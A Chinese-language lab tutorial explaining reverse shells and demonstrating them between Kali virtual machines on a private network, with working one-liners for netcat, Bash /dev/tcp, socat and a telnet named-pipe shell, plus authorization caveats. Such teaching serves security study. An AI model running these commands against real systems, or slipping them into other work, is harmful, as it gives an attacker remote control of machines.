1.什么是反弹shell?
反弹shell(Reverse Shell)是一种计算机安全领域的术语,通常出现在讨论网络安全、渗透测试或黑客攻防技术时。它指的是这样一种情况:攻击者首先在自己的机器上监听某个特定的网络端口,然后通过某种手段(例如利用软件漏洞)在目标系统上执行一段代码,这段代码会让目标系统主动连接回攻击者的机器。一旦建立了这个连接,攻击者就可以通过这个连接对目标系统发送命令并接收其输出,从而达到远程控制目标系统的目的。
反弹shell与普通(正向)shell的主要区别在于连接的方向。在普通的shell场景中,客户端(例如,一个远程终端程序)会主动连接到服务器。而在反弹shell的情况下,由于某些原因(例如目标系统可能处于一个不允许外部直接连接的网络环境中),目标系统作为客户端向攻击者控制的服务器端发起连接,从而绕过了某些防火墙或网络限制。
反弹shell可以使用多种编程语言和技术来实现,包括但不限于Python、Perl、Netcat、PHP等。在合法的安全测试场景中,反弹shell用于验证系统的安全性;然而,在非法的情景下,则可能被恶意人员用于未经授权的访问和控制。因此,在实际应用中应当非常谨慎,并确保所有的测试都在法律许可范围内进行,并且得到了适当的授权。
2.什么时候使用反弹shell?
① 渗透测试:在进行合法授权的渗透测试时,安全专家可能会使用反弹shell来模拟攻击者的行为,以评估网络或系统的安全性。这可以帮助识别潜在的漏洞,并为加固系统提供依据。
② 内部网络访问:当目标系统位于一个严格控制的内部网络中,从外部直接访问受到限制时,反弹shell可以让内部系统主动连接到外部控制器,从而绕过某些防火墙规则。
③ 绕过网络限制:在一些情况下,目标系统可能位于NAT(网络地址转换)后面或者有严格的ACL(访问控制列表)限制,这使得从外部直接建立连接变得困难。反弹shell可以让内部系统突破这些限制,主动与外部通信。
④ 持续监控和控制:在成功渗透到目标系统后,为了维持对系统的访问,反弹shell可以提供一个持久的通信通道,允许攻击者持续地发送指令和接收结果。
3.实现反弹shell的工具
本次实验我将使用两台kali虚拟机,因为kali带有原生netcat工具包
攻击机:172.16.202.151
目标机(kali):172.16.202.165
目标机(Ubuntu):172.16.202.166
- 利用netcat反弹shell
Netcat是一个非常强大的网络工具,可以用来创建简单的TCP/IP连接。通过Netcat可以在目标机器上执行命令,让其监听一个端口,然后从另一端连接到该端口,从而实现反弹shell。
首先在攻击机上开启本地监听:
其次目标机主动连接攻击机:netcat 172.16.202.151 2333 -e /bin/bash# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
- 利用Bash反弹shell
使用Bash创建一个反弹shell的过程相对简单。这种方法通常用于渗透测试或者安全评估的场景下。下面是使用Bash创建反弹shell的基本步骤:
步骤 1: 准备监听端口
首先,你需要在攻击者控制的机器上设置一个监听端口,等待目标系统的连接。你可以使用Netcat (nc) 或者其他类似工具来监听端口。打开一个终端窗口,并输入以下命令:
nc -lvnp 2333
这条命令会在指定端口上监听连接请求,并打印出接收到的数据。
步骤 2: 在目标系统上执行反弹shell命令
接下来,在目标系统上执行一个Bash命令,让目标系统主动连接到攻击者的机器。假设攻击者的IP地址是 attacker_ip,并且监听的端口是2333,那么在目标系统上执行以下命令:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
这条命令的工作原理是:
bash -i 启动一个交互式的Bash shell。
& /dev/tcp/attacker_ip/4444 将标准输出和标准错误重定向到攻击者的IP地址和端口。
0>&1 将标准输入重定向到与标准输出相同的地方,即攻击者的机器。
注意事项
在执行上述命令之前,请确保你有足够的权限,并且这些操作是在合法授权的安全测试环境中进行的。
确认目标系统和攻击者控制系统之间的网络连接是畅通无阻的。
使用反弹shell涉及到网络安全问题,务必遵循相关的法律法规,只在合法授权的情况下进行测试。
结果
一旦目标系统执行了上述命令,并成功连接到了攻击者控制的机器上,你应该会在监听端口的Netcat窗口看到一个交互式shell提示符。此时,你就可以在这个shell中输入命令来控制目标系统了。
首先是在攻击机上开启本地监听:
其次,目标主机主动连接到攻击机:
bash -i >& /dev/tcp/172.16.202.151/2333 0>&1
-
Curl配合Bash反弹shell
首先是在kali虚拟机的/var/www/html下创建一个shellscript.sh,内容如下:
攻击机开启本地监听后,目标机主动连接到攻击机:
非常遗憾的是,能够连接,却没法获取到shell。我将在接下来的几天继续调试。。。 -
利用Socat反弹shell
使用 socat 创建反弹shell是一种有效的方法,尤其是在某些环境中 socat 可能比 netcat 提供更多的功能和灵活性。socat 是一个功能强大的工具,用于创建各种类型的网络连接。以下是使用 socat 创建反弹shell的基本步骤:
首先,攻击机开启本地监听:
其次,目标机主动连接到攻击机:
socat tcp-connect:172.16.202.151:2333 exec:‘bash -li’,pty,stderr,setsid,sigint,sane
-
利用Telnet反弹shell
当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。
首先,攻击机创建本地监听:
其次,目标机主动连接攻击机:
mknod a p; telnet 172.16.202.151 2333 0<a | /bin/bash 1>a